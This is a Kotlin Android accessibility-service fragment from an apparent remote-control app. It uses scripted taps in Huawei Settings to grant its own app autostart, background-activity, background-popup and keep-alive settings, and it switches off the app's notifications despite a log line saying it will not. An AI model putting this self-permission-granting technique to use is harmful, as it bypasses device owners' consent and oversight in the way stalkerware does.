                            val pasteSuccess = editTextNode.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_PASTE)
                            Log.d(TAG, "📋 点击后粘贴结果: $pasteSuccess")

                            if (pasteSuccess) {
                                // 等待粘贴完成
                                Thread.sleep(500)
                                // 粘贴后清除焦点并尝试收起键盘
                                try { editTextNode.performAction(android.view.accessibility.AccessibilityNodeInfo.ACTION_CLEAR_FOCUS) } catch (_: Exception) { }
                                try {
                                    clickFirstSettingsSearchResult()
                                    Thread.sleep(200)
                                } catch (_: Exception) { }
                                Log.d(TAG, "✅ 备用方案粘贴操作完成")
                            } else {
                                Log.w(TAG, "⚠️ 备用方案粘贴操作失败")
                            }

                            safeRecycleNode(root)
                            return pasteSuccess
                        } else {
                            Log.w(TAG, "⚠️ 点击聚焦失败")
                        }
                    } else {
                        Log.w(TAG, "⚠️ 未找到任何EditText节点")
                    }
                    safeRecycleNode(root)
                }
            } else {
                Log.w(TAG, "⚠️ 无法获取根节点")
            }
            
            Log.w(TAG, "⚠️ 无法执行粘贴操作")
            return false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 剪贴板粘贴失败", e)
            return false
        }
    }
    
    /**
     * 直接点击设置搜索结果的第一个条目（坐标点击）。
     * 优化：只点击一次，使用最可能的坐标位置。
     */
    private fun clickFirstSettingsSearchResult() {
        try {


            val dm = context.resources.displayMetrics
            val x = dm.widthPixels / 2
            val y = (dm.heightPixels * 0.17f).toInt() // 只使用一个最可能的坐标
            Log.d(TAG, "🎯 点击第一个搜索结果: ($x, $y)")
            performSimpleCoordinateClick(x, y)
            Thread.sleep(200) // 稍微增加等待时间
        } catch (e: Exception) { 
            Log.e(TAG, "❌ 点击第一个搜索结果失败", e)
        }
    }

    /**
     * 返回到设置主页：最多回退5次。
     * 主页判断：
     *  - 包名为设置应用；并且
     *  - 呈现出首页典型关键字（如 WLAN/蓝牙/移动网络/更多连接/桌面和个性化/显示和亮度 等）命中≥2。
     */
    private suspend fun returnToSettingsHome() {
        try {
            for (i in 1..5) {
                val root = getStableRootInActiveWindow()
                val pkg = root?.packageName?.toString()
                val isSettingsPkg = pkg == "com.android.settings" || pkg == "com.huawei.systemmanager"
                val isHome = isSettingsHomeByKeywords(root)

                Log.d(TAG, "🔎 设置返回检查: pkg=$pkg, isSettingsPkg=$isSettingsPkg, isHome=$isHome, step=$i")

                safeRecycleNode(root)

                if (isSettingsPkg && isHome) {
                    Log.d(TAG, "✅ 已在设置主页，停止返回")
                    break
                }

                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
                delay(300)
            }
        } catch (_: Exception) { }
    }

    /**
     * 通过关键字判断是否为设置应用的首页。
     * 命中≥2个关键字则认为在首页。
     */
    private fun isSettingsHomeByKeywords(root: AccessibilityNodeInfo?): Boolean {
        if (root == null) return false
        return try {
            val homeKeywords = listOf(
                "WLAN", "蓝牙", "移动网络", "更多连接", "超级终端", "桌面和个性化", "显示和亮度",
                "声音和振动", "电池", "应用和服务"
            )
            var hits = 0
            for (kw in homeKeywords) {
                val node = findNodeByText(root, kw)
                if (node != null) {
                    hits++
                    if (hits >= 2) return true
                }
            }
            false
        } catch (_: Exception) {
            false
        }
    }
    
    /**
     * 查找第一个可用的EditText
     */
    private fun findFirstEditText(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        val className = root.className?.toString() ?: ""
        
        if (className.contains("EditText") && root.isVisibleToUser && root.isEnabled) {
            return root
        }
        
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            val result = findFirstEditText(child)
            if (result != null) return result
        }
        return null
    }
    
    private fun debugAllEditTextNodes(root: AccessibilityNodeInfo) {
        Log.d(TAG, "🔍 开始调试所有EditText节点")
        debugEditTextRecursive(root, 0)
    }
    
    private fun debugEditTextRecursive(node: AccessibilityNodeInfo, depth: Int) {
        val className = node.className?.toString() ?: ""
        
        if (className.contains("EditText")) {
            val indent = "  ".repeat(depth)
            Log.d(TAG, "${indent}EditText: $className")
            Log.d(TAG, "${indent}  可见=${node.isVisibleToUser}, 启用=${node.isEnabled}")
            Log.d(TAG, "${indent}  可编辑=${node.isEditable}, 可聚焦=${node.isFocusable}")
            Log.d(TAG, "${indent}  文本='${node.text}', 描述='${node.contentDescription}'")
            Log.d(TAG, "${indent}  ViewId='${node.viewIdResourceName}'")
        }
        
        for (i in 0 until node.childCount) {
            val child = node.getChild(i) ?: continue
            managedNodes.add(child)
            debugEditTextRecursive(child, depth + 1)
        }
    }
    private fun findEditTextRecursive(root: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        val className = root.className?.toString() ?: ""
        
        // 检查是否是EditText且符合搜索框特征
        if (className.contains("EditText") && root.isVisibleToUser && root.isEnabled && 
            (root.isEditable || root.isFocusable)) {
            Log.d(TAG, "✅ 递归找到EditText搜索框: $className")
            return root
        }
        
        // 记录搜索过程
        if (className.contains("EditText")) {
            Log.v(TAG, "🔍 找到EditText但不符合条件: $className, 可见=${root.isVisibleToUser}, 启用=${root.isEnabled}, 可编辑=${root.isEditable}, 可聚焦=${root.isFocusable}")
        }
        
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            val result = findEditTextRecursive(child)
            if (result != null) return result
        }
        return null
    }

    /**
     * 优化的文本查找方法（参考反编译代码）
     * 先尝试精确匹配，再递归搜索
     */
    private fun findNodeByTextOptimized(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        // 1. 先尝试直接精确匹配（参考反编译代码逻辑）
        try {
            val directMatches = root.findAccessibilityNodeInfosByText(text)
            if (directMatches != null && directMatches.isNotEmpty()) {
                for (node in directMatches) {
                    val nodeText = node.text?.toString()
                    val nodeDescription = node.contentDescription?.toString()
                    val className = node.className?.toString() ?: ""
                    
                    // 检查文本内容或内容描述是否匹配，且排除AutoCompleteTextView（参考反编译代码）
                    val textMatches = (nodeText == text) || (nodeDescription == text)
                    if (textMatches && !className.endsWith(".AutoCompleteTextView")) {
                        // 对vivo品牌特殊处理（参考反编译代码）
                        if (android.os.Build.BRAND.equals("vivo", ignoreCase = true)) {
                            if (node.isVisibleToUser) {
                                Log.d(TAG, "✅ 直接匹配找到文本: $text (vivo品牌)")
                                return node
                            }
                        } else {
                            Log.d(TAG, "✅ 直接匹配找到文本: $text (text=${nodeText}, description=${nodeDescription})")
                            return node
                        }
                    }
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "直接文本搜索异常: ${e.message}")
        }
        
        // 2. 如果直接匹配失败，进行递归搜索
        return findNodeByTextRecursive(root, text)
    }

    /**
     * 递归搜索文本节点（检查text和contentDescription）
     */
    private fun findNodeByTextRecursive(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        val nodeText = root.text?.toString()
        val nodeDescription = root.contentDescription?.toString()
        
        // 检查文本内容
        if (nodeText == text) {
            Log.d(TAG, "✅ 递归找到文本匹配: $text (text)")
            return root
        }
        
        // 检查内容描述
        if (nodeDescription == text) {
            Log.d(TAG, "✅ 递归找到文本匹配: $text (contentDescription)")
            return root
        }
        
        // 递归搜索子节点
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            val result = findNodeByTextRecursive(child, text)
            if (result != null) return result
        }
        return null
    }

    /**
     * 获取稳定的根节点（参考反编译代码）
     * 多次尝试获取根节点，确保稳定性
     */
    private fun getStableRootInActiveWindow(): AccessibilityNodeInfo? {
        Log.v(TAG, "🔍 开始获取稳定根节点")
        
        var rootInActiveWindow: AccessibilityNodeInfo? = null
        
        // 多次尝试获取根节点（参考反编译代码的5次重试逻辑）
        for (i in 1..5) {
            rootInActiveWindow = service.rootInActiveWindow
            if (rootInActiveWindow != null) {
                Log.v(TAG, "✅ 第${i}次尝试获取根节点成功")
                break
            } else {
                Log.v(TAG, "⚠️ 第${i}次尝试获取根节点失败")
                if (i < 5) {
                    Thread.sleep(50) // 短暂等待后重试
                }
            }
        }
        
        if (rootInActiveWindow == null) {
            Log.w(TAG, "❌ 5次尝试后仍无法获取根节点")
            return null
        }
        
        Log.v(TAG, "✅ 成功获取稳定根节点")
        return rootInActiveWindow
    }

    /**
     * 通过ViewId查找节点（参考反编译代码）
     * 如果找到唯一匹配的节点则返回，否则返回null
     */
    private fun findNodeByViewId(viewId: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 通过ViewId查找节点: $viewId")
        
        val root = getStableRootInActiveWindow()
        if (root == null) {
            Log.e(TAG, "❌ 无法获取根节点")
            return null
        }
        
        return try {
            val nodes = root.findAccessibilityNodeInfosByViewId(viewId)
            if (nodes.size == 1) {
                Log.d(TAG, "✅ 找到唯一匹配的ViewId节点: $viewId")
                nodes[0]
            } else {
                Log.w(TAG, "⚠️ ViewId节点数量不为1: ${nodes.size}")
                null
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ ViewId查找异常", e)
            null
        } finally {
            safeRecycleNode(root)
        }
    }

    /**
     * 对可编辑节点设置文本
     */
    private fun setTextOnEditable(node: AccessibilityNodeInfo, text: String): Boolean {
        return try {
            val args = Bundle()
            args.putCharSequence(AccessibilityNodeInfo.ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text)
            node.performAction(AccessibilityNodeInfo.ACTION_SET_TEXT, args)
        } catch (_: Exception) {
            false
        }
    }

    /**
     * Android 12: 通知管理权限
     * 路径: 应用设置->通知管理->允许通知（关闭）
     */
    private suspend fun executeNotificationManagementV12(): Boolean {
        Log.i(TAG, "🔔 开始配置通知管理权限 (Android 12)")

        try {
            // 1. 直接打开应用设置页面
            Log.d(TAG, "🔧 打开应用设置页面")
            val appSettingsOpened = openAppSettings()
            if (!appSettingsOpened) {
                Log.e(TAG, "❌ 无法打开应用设置页面")
                return false
            }

            // 2. 导航到通知管理
            Log.d(TAG, "🔧 导航到通知管理")
            if (!navigateToText("通知管理")) {
                Log.e(TAG, "❌ 无法找到通知管理")
                return false
            }

            // 3. 查找允许通知开关并关闭（如果当前是开启状态）
            Log.d(TAG, "🔧 检查并关闭允许通知")
            val rootNode = getStableRootInActiveWindow()
            if (rootNode == null) {
                Log.w(TAG, "❌ 无法获取根节点")
                return false
            }

            val notificationNode = findNodeByText(rootNode, "允许通知")
            if (notificationNode == null) {
                Log.w(TAG, "❌ 无法找到允许通知选项")
                safeRecycleNode(rootNode)
                return false
            }

            // 查找右侧的开关控件
            val switchNode = findRightSideSwitchNode(notificationNode)
            if (switchNode == null) {
                Log.w(TAG, "❌ 无法找到通知开关控件")
                safeRecycleNode(rootNode)
                return false
            }

            // 检查当前状态（不再主动修改该开关）
            val currentState = switchNode.isChecked
            Log.d(TAG, "🔍 允许通知当前状态: $currentState")
            Log.d(TAG, "ℹ️ 按需策略：检测到状态后不修改，直接返回成功")
            safeRecycleNode(rootNode)


            if (currentState){
                //关闭
                performClickSafe(switchNode)
                delay(200)
            }
//            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//            delay(200)
//            service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//            delay(200)
            returnToAppAndWait()
            return true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 通知管理权限配置异常", e)
            return false
        }
    }

    /**
     * Android 10: 后台弹窗权限
     * 路径: 设置->隐私->权限管理->应用->搜索框->搜索我们的APP->后台弹窗->允许
     */
    private suspend fun executeBackgroundPopupPermissionAndroid10(): Boolean {
        Log.i(TAG, "🪟 开始配置后台弹窗权限 (Android 10)")

        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 打开设置页面")
            val settingsOpened = openSettings()
            if (!settingsOpened) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }

            // 2. 导航到隐私设置
            Log.d(TAG, "🔧 导航到隐私设置")
            if (!navigateToText("隐私")) {
                Log.e(TAG, "❌ 无法找到隐私设置")
                return false
            }

            // 3. 导航到权限管理
            Log.d(TAG, "🔧 导航到权限管理")
            if (!navigateToText("权限管理")) {
                Log.e(TAG, "❌ 无法找到权限管理")
                return false
            }

            // 4. 导航到应用
            Log.d(TAG, "🔧 导航到应用")
            if (!navigateToText("应用")) {
                Log.e(TAG, "❌ 无法找到应用设置")
                return false
            }

            // 5. 查找并点击搜索框
            Log.d(TAG, "🔧 查找并点击搜索框")
            val rootForSearch = getStableRootInActiveWindow()
            if (rootForSearch == null) {
                Log.e(TAG, "❌ 无法获取根节点以查找搜索框")
                return false
            }
            
            val searchField = findSearchFieldInSettings(rootForSearch)
            if (searchField == null) {
                Log.e(TAG, "❌ 未找到搜索框，尝试备用策略")
                safeRecycleNode(rootForSearch)
                if (!tryClickSearchFieldByCoordinate("")) {
                    Log.e(TAG, "❌ 备用策略也失败")
                    return false
                }
                delay(500)
            } else {
                val focused = if (searchField.isFocused) true else searchField.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
                Log.d(TAG, "🔍 搜索框聚焦: $focused")
                
                // 如果搜索框不能聚焦，则点击父节点试试
                if (!focused) {
                    Log.d(TAG, "🔧 搜索框不能聚焦，尝试点击父节点")
                    val parentClicked = clickParentNode(searchField)
                    if (parentClicked) {
                        Log.d(TAG, "✅ 点击父节点成功，等待聚焦")
                        delay(300)
                    } else {
                        Log.w(TAG, "⚠️ 点击父节点失败，尝试直接点击搜索框")
                        val directClick = searchField.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        if (directClick) {
                            Log.d(TAG, "✅ 直接点击搜索框成功")
                            delay(300)
                        } else {
                            Log.w(TAG, "⚠️ 直接点击搜索框也失败，尝试坐标点击")
                            // 获取搜索框的坐标进行点击
                            val bounds = android.graphics.Rect()
                            searchField.getBoundsInScreen(bounds)
                            if (!bounds.isEmpty()) {
                                val centerX = bounds.centerX()
                                val centerY = bounds.centerY()
                                Log.d(TAG, "🎯 搜索框坐标: ($centerX, $centerY), 区域: $bounds")
                                
                                val coordinateClick = performSimpleCoordinateClick(centerX, centerY)
                                if (coordinateClick) {
                                    Log.d(TAG, "✅ 坐标点击搜索框成功")
                                    delay(300)
                                } else {
                                    Log.w(TAG, "⚠️ 坐标点击搜索框也失败")
                                }
                            } else {
                                Log.w(TAG, "⚠️ 搜索框边界为空，无法获取坐标")
                            }
                        }
                    }
                }
                
                safeRecycleNode(rootForSearch)
            }

            // 6. 获取我们的应用名称并搜索
            Log.d(TAG, "🔧 获取应用名称并搜索")
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                val appLabel = packageManager.getApplicationLabel(applicationInfo).toString()
                Log.d(TAG, "当前应用名称: $appLabel")
                appLabel
            } catch (e: Exception) {
                Log.w(TAG, "无法获取应用名称，使用默认名称", e)
                "Android Remote Control" // 后备方案
            }

            // 7. 在搜索框中输入应用名称
            Log.d(TAG, "🔧 在搜索框中输入应用名称: $appName")
            if (!tryInputSearchText(appName)) {
                Log.e(TAG, "❌ 搜索框输入失败")
                return false
            }

            // 8. 点击第一个搜索结果
            Log.d(TAG, "🔧 点击第一个搜索结果")
            clickFirstSettingsSearchResult()
            delay(500)

            // 9. 导航到后台弹窗
            Log.d(TAG, "🔧 导航到后台弹窗")
            if (!navigateToText("后台弹窗")) {
                Log.e(TAG, "❌ 无法找到后台弹窗设置")
                return false
            }

            // 10. 点击允许按钮
            Log.d(TAG, "🔧 点击允许按钮")
            val allowClicked = handlePopup("允许")
            if (!allowClicked) {
                Log.w(TAG, "⚠️ 未找到允许按钮，可能已经是允许状态")
            }

            Log.i(TAG, "✅ 后台弹窗权限配置成功 (Android 10)")
            
            // 11. 返回应用
            Log.d(TAG, "🔙 配置完成，返回应用")
            returnToAppAndWait()

            return true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 后台弹窗权限配置异常 (Android 10)", e)
            return false
        }
    }

    /**
     * Android 15: 电池设置优化
     * 路径: 设置->电池->更多电池设置->高耗电提醒（关闭）->休眠时始终保持网络连接（开启）
     */
    private suspend fun executeBatteryOptimizationV15(): Boolean {
        Log.i(TAG, "🚀 开始配置电池设置优化 (Huawei Android 15)")

        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 打开设置页面")
            val settingsOpened = openSettings()
            if (!settingsOpened) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }

            // 2. 导航到电池设置
            Log.d(TAG, "🔧 导航到电池设置")
            if (!navigateToText("电池")) {
                Log.e(TAG, "❌ 无法找到电池设置")
                return false
            }

            // 3. 导航到更多电池设置
            Log.d(TAG, "🔧 导航到更多电池设置")
            if (!navigateToText("更多电池设置")) {
                Log.e(TAG, "❌ 无法找到更多电池设置")
                return false
            }

//            // 4. 配置高耗电提醒（关闭）
//            Log.d(TAG, "🔧 配置高耗电提醒")
//            val highPowerWarningSet = togglePermission("高耗电提醒", false)

            // 5. 配置休眠时始终保持网络连接（开启）
            Log.d(TAG, "🔧 配置休眠时始终保持网络连接")
            val networkKeepAliveSet = togglePermission("休眠时始终保持网络连接", true)

            val success = networkKeepAliveSet // 至少一个成功

            if (success) {
                Log.i(TAG, "✅ 电池设置优化配置成功 (Huawei Android 15)")
                // 电池优化完成后，返回设置首页，避免停留在当前页
//                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//                delay(50)
//                service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//                delay(50)
//                openAppSettings()
//                try {
//                    service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//                    delay(200)
//                    service.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
//                    delay(200)
//                } catch (_: Exception) {
//                }
                // 1.1 返回应用保活
                Log.d(TAG, "🔙 步骤完成，返回应用保活")
                returnToAppAndWait()

                // 1.2 重新打开设置页面
//                Log.d(TAG, "🔧 重新打开设置页面")
//                openAppSettings()
//                navigateToText("修改系统设置")


                return true
            } else {
                Log.w(TAG, "⚠️ 电池设置优化配置失败")
                return false
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 电池设置优化配置异常", e)
            return false
        }
    }

    /**
     * Android 15: 启动管理权限
     * 路径: 在应用页面等待 -> 直接打开应用设置页面 -> 耗电详情 -> 启动管理 -> 弹窗处理
     * 优化: 每操作一步返回应用，等待一秒，然后再返回继续后续操作
     */
    private suspend fun executeStartupManagementV15(): Boolean {
        Log.i(TAG, "🚀 开始配置启动管理权限 (Huawei Android 15)")

        try {
            // 1. 在应用页面等待2秒，确保应用状态稳定
            Log.d(TAG, "⏳ 在应用页面等待2秒，确保应用状态稳定")
//            delay(500)

            // 2. 直接打开应用设置页面
//            Log.d(TAG, "🔧 直接打开应用设置页面")
//            val appSettingsOpened = openSettings()
//            if (!appSettingsOpened) {
//                Log.e(TAG, "❌ 无法打开应用设置页面")
//                return false
//            }
//
//            // 2.1 返回应用保活
//            Log.d(TAG, "🔙 步骤完成，返回应用保活")
//            returnToAppAndWait()
//
//            // 2.2 重新打开应用设置页面
//            Log.d(TAG, "🔧 重新打开应用设置页面")
//            val appSettingsReopened = openSettings()
//            if (!appSettingsReopened) {
//                Log.e(TAG, "❌ 无法重新打开应用设置页面")
//                return false
//            }

//            // 3. 导航到耗电详情
//            Log.d(TAG, "🔧 导航到耗电详情")
//            if (!navigateToText("耗电详情")) {
//                Log.e(TAG, "❌ 无法找到耗电详情")
//                return false
//            }
//
//            // 3.1 返回应用保活
//            Log.d(TAG, "🔙 步骤完成，返回应用保活")
//            returnToAppAndWait()
//
//            // 3.2 重新打开应用设置页面并导航到耗电详情
//            Log.d(TAG, "🔧 重新打开应用设置页面并导航到耗电详情")
//            if (!reopenAppSettingsAndNavigateTo("耗电详情")) {
//                Log.e(TAG, "❌ 无法重新导航到耗电详情")
//                return false
//            }
//
//            // 4. 导航到启动管理
//            Log.d(TAG, "🔧 导航到启动管理")
//            if (!navigateToStartupManagement()) {
//                Log.e(TAG, "❌ 无法找到启动管理")
//                return false
//            }
            if (!executeStartupManagementAlternativePath()) {
                Log.e(TAG, "❌ 无法找到启动管理")
                return false
            }



            // 5. 处理弹窗 - 关闭自动管理
            Log.d(TAG, "🔧 关闭自动管理")
            val autoManagementDisabled = togglePermission("自动管理", false)



            // 6. 开启允许自启动
            Log.d(TAG, "🔧 开启允许自启动")
            val autoStartEnabled = togglePermission("允许自启动", true)



            // 7. 开启允许后台活动
            Log.d(TAG, "🔧 开启允许后台活动")
            val backgroundActivityEnabled = togglePermission("允许后台活动", true)



            // 8. 点击确定按钮
            Log.d(TAG, "🔧 点击确定按钮")
            val confirmClicked = handlePopup("确定")

            val success = autoStartEnabled && backgroundActivityEnabled && confirmClicked

            if (success) {
                Log.i(TAG, "✅ 启动管理权限配置成功 (Huawei Android 15)")

                // 9. 最后返回应用并打开设置页面，准备完成电池相关配置
                Log.d(TAG, "🔙 配置完成，返回应用并打开设置页面，准备完成电池相关配置")
                returnToAppAndWait()

                // 打开设置页面为后续电池配置做准备
                Log.d(TAG, "🔧 打开设置页面为后续电池配置做准备")
                val settingsOpened = openSettings()
                if (settingsOpened) {
                    Log.d(TAG, "✅ 设置页面已打开，准备进行电池配置")
                } else {
                    Log.w(TAG, "⚠️ 设置页面打开失败，但启动管理权限配置已完成")
                }

                return true
            } else {
                Log.w(TAG, "⚠️ 启动管理权限配置失败")
                return false
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动管理权限配置异常", e)
            return false
        }
    }

    // ======================== 通用辅助方法 ========================

    /**
     * 导航到启动管理（优先在耗电详情页面查找，失败则走备选路径）
     */
    private suspend fun navigateToStartupManagement(): Boolean {
        Log.d(TAG, "🔧 尝试在耗电详情页面查找启动管理")

        // 先执行完整的搜索逻辑（包括向上向下搜索）
        if (searchCurrentPosition("启动管理")) {
            Log.d(TAG, "✅ 在耗电详情页面找到启动管理")
            delay(PAGE_LOAD_DELAY)
            return true
        }

        Log.d(TAG, "⚠️ 在耗电详情页面完整搜索未找到启动管理，使用备选路径")
        return executeStartupManagementAlternativePath()
    }

    /**
     * 启动管理备选路径：设置->应用->应用启动管理->找到我们的应用->点击开关
     */
    private suspend fun executeStartupManagementAlternativePath(): Boolean {
        Log.d(TAG, "🚀 开始执行启动管理备选路径")

        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }

            // 1.1 返回应用保活
            Log.d(TAG, "🔙 步骤完成，返回应用保活")
            returnToAppAndWait()

            // 1.2 重新打开设置页面
            Log.d(TAG, "🔧 重新打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法重新打开设置页面")
                return false
            }

            // 2. 导航到应用
            Log.d(TAG, "🔧 导航到应用")
            if (!navigateToText("应用和服务")) {
                Log.e(TAG, "❌ 无法找到应用")
                return false
            }

            // 2.1 返回应用保活
            Log.d(TAG, "🔙 步骤完成，返回应用保活")
            returnToAppAndWait()

            // 2.2 重新打开设置页面并导航到应用
            Log.d(TAG, "🔧 重新打开设置页面并导航到应用")
            if (!reopenSettingsAndNavigateTo("应用和服务")) {
                Log.e(TAG, "❌ 无法重新导航到应用")
                return false
            }

            // 3. 导航到应用启动管理
            Log.d(TAG, "🔧 导航到应用启动管理")
            if (!navigateToText("应用启动管理")) {
                Log.e(TAG, "❌ 无法找到应用启动管理")
                return false
            }

            // 4. 查找我们的应用并点击右侧开关
            Log.d(TAG, "🔧 查找我们的应用并点击右侧开关")
            if (!findAndClickAppSwitch()) {
                Log.e(TAG, "❌ 无法找到我们的应用或点击开关")
                return false
            }

            // 6. 后续处理流程与原启动管理流程一致
            Log.d(TAG, "✅ 启动管理备选路径成功，进入弹窗处理流程")
            return true

        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动管理备选路径异常", e)
            return false
        }
    }

    /**
     * 重新打开设置页面并导航到指定位置（备用路线专用）
     */
    private suspend fun reopenSettingsAndNavigateTo(targetText: String): Boolean {
        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 重新打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法重新打开设置页面")
                return false
            }

            // 2. 检查是否已经在目标页面
            Log.d(TAG, "🔧 导航到$targetText")
            val rootNode = getStableRootInActiveWindow()
            safeRecycleNode(rootNode)
            if (!navigateToText(targetText)) {
                Log.e(TAG, "❌ 无法找到$targetText")
                return false
            }

            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开设置页面并导航异常", e)
            return false
        }
    }

    /**
     * 重新打开设置页面并导航到应用启动管理（备用路线专用）
     */
    private suspend fun reopenSettingsAndNavigateToAppStartup(): Boolean {
        try {
            // 1. 打开设置页面
            Log.d(TAG, "🔧 重新打开设置页面")
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法重新打开设置页面")
                return false
            }

            // 2. 检查是否已经在应用页面
            Log.d(TAG, "🔍 检查是否已经在应用页面")
            val rootNode = getStableRootInActiveWindow()
            val alreadyInAppPage = rootNode?.let { findNodeByText(it, "应用和服务") } != null

            if (alreadyInAppPage) {
                Log.d(TAG, "✅ 已经在应用页面，跳过重新导航")
                safeRecycleNode(rootNode)
            } else {
                Log.d(TAG, "🔧 导航到应用")
                safeRecycleNode(rootNode)
                if (!navigateToText("应用和服务")) {
                    Log.e(TAG, "❌ 无法找到应用")
                    return false
                }
            }

            // 3. 导航到应用启动管理
            Log.d(TAG, "🔧 导航到应用启动管理")
            if (!navigateToText("应用启动管理")) {
                Log.e(TAG, "❌ 无法找到应用启动管理")
                return false
            }

            return true
        } catch (e: Exception) {
            Log.e(TAG, "❌ 重新打开设置页面并导航到应用启动管理异常", e)
            return false
        }
    }

    /**
     * 查找我们的应用并点击右侧开关（备用路线专用）
     */
    private suspend fun findAndClickAppSwitch(): Boolean {
        Log.d(TAG, "🔧 开始查找应用并点击右侧开关")

        // 动态获取当前应用名称
        val appName = try {
            val applicationInfo = context.applicationInfo
            val packageManager = context.packageManager
            val appLabel = packageManager.getApplicationLabel(applicationInfo).toString()
            Log.d(TAG, "当前应用名称: $appLabel")
            appLabel
        } catch (e: Exception) {
            Log.w(TAG, "无法获取应用名称，使用默认名称", e)
            "Android Remote Control" // 后备方案
        }

        // 搜索当前位置的应用
        if (findAppAndClickSwitch(appName)) {
            return true
        }

        // 向下搜索应用
        Log.d(TAG, "🔍 开始向下搜索应用: $appName")
        for (i in 1..MAX_SCROLL_ATTEMPTS) {
            performScrollDown()
            delay(500)

            if (findAppAndClickSwitch(appName)) {
                Log.d(TAG, "✅ 向下搜索第${i}次成功找到应用并点击开关: $appName")
                return true
            }

            Log.d(TAG, "🔍 向下搜索第${i}次未找到应用: $appName")
        }

        Log.w(TAG, "❌ 搜索应用并点击开关失败: $appName")
        return false
    }

    /**
     * 查找应用并点击右侧开关
     */
    private suspend fun findAppAndClickSwitch(appName: String): Boolean {
        val rootNode = getStableRootInActiveWindow()
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            val appNode = findNodeByText(rootNode, appName)
            if (appNode != null) {
                Log.d(TAG, "✅ 找到应用: $appName")

                // 查找右侧的开关控件
                val switchNode = findRightSideSwitchNode(appNode)
                if (switchNode == null) {
                    Log.w(TAG, "❌ 无法找到应用右侧的开关控件")
                    return false
                }

                Log.d(TAG, "✅ 找到应用右侧的开关控件")

                // 第一次点击
                Log.d(TAG, "🔧 第一次点击开关")
                val firstClick = performClickSafe(switchNode) || performCoordinateClick(switchNode)

                if (!firstClick) {
                    Log.w(TAG, "❌ 第一次点击失败")
                    return false
                }

                // 等待弹窗出现
                delay(500)

                // 检查是否有弹窗
                val popupNode = getStableRootInActiveWindow()
                val hasPopup = popupNode?.let { findNodeByText(it, "自动管理") != null } ?: false

                if (hasPopup) {
                    Log.d(TAG, "✅ 第一次点击后弹窗已出现")
                    safeRecycleNode(popupNode)
                    return true
                }

                // 如果没有弹窗，再点击一次
                Log.d(TAG, "🔧 第一次点击后无弹窗，尝试第二次点击")
                val secondClick = performClickSafe(switchNode) || performCoordinateClick(switchNode)

                if (secondClick) {
                    delay(500)
                    Log.d(TAG, "✅ 第二次点击完成")
                    return true
                }

                Log.w(TAG, "❌ 第二次点击失败")
                return false
            }

            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 悬浮窗页面专用：查找应用并单击右侧开关（不进行二次点击/弹窗判断）
     */
    private suspend fun findAndClickAppSwitchSingleClick(): Boolean {
        val rootNode = getStableRootInActiveWindow()
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 动态获取当前应用名称
            val appName = try {
                val applicationInfo = context.applicationInfo
                val packageManager = context.packageManager
                packageManager.getApplicationLabel(applicationInfo).toString()
            } catch (_: Exception) {
                "Android Remote Control"
            }

            val appNode = findNodeByText(rootNode, appName)
            if (appNode != null) {
                val switchNode = findRightSideSwitchNode(appNode)
                if (switchNode == null) {
                    Log.w(TAG, "❌ 未找到 $appName 右侧开关")
                    return false
                }

                val clicked = performClickSafe(switchNode) || performCoordinateClick(switchNode)
                if (clicked) {
                    delay(300)
                    Log.d(TAG, "✅ 悬浮窗页单击开关完成")
                    return true
                }

                Log.w(TAG, "❌ 悬浮窗页开关点击失败")
                return false
            }

            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }


    /**
     * 打开设置页面
     */
    private suspend fun openSettings(): Boolean {
        return try {
            Log.d(TAG, "🔧 开始打开系统设置主页面")
            
            // 1. 先尝试打开系统设置
            val intent = Intent(Settings.ACTION_SETTINGS).apply {
                flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
            }
            context.startActivity(intent)
            delay(PAGE_LOAD_DELAY)

            // 2. 检查当前页面状态
            var currentPackage = getStableRootInActiveWindow()?.packageName?.toString()
            Log.d(TAG, "🔍 当前页面包名: $currentPackage")
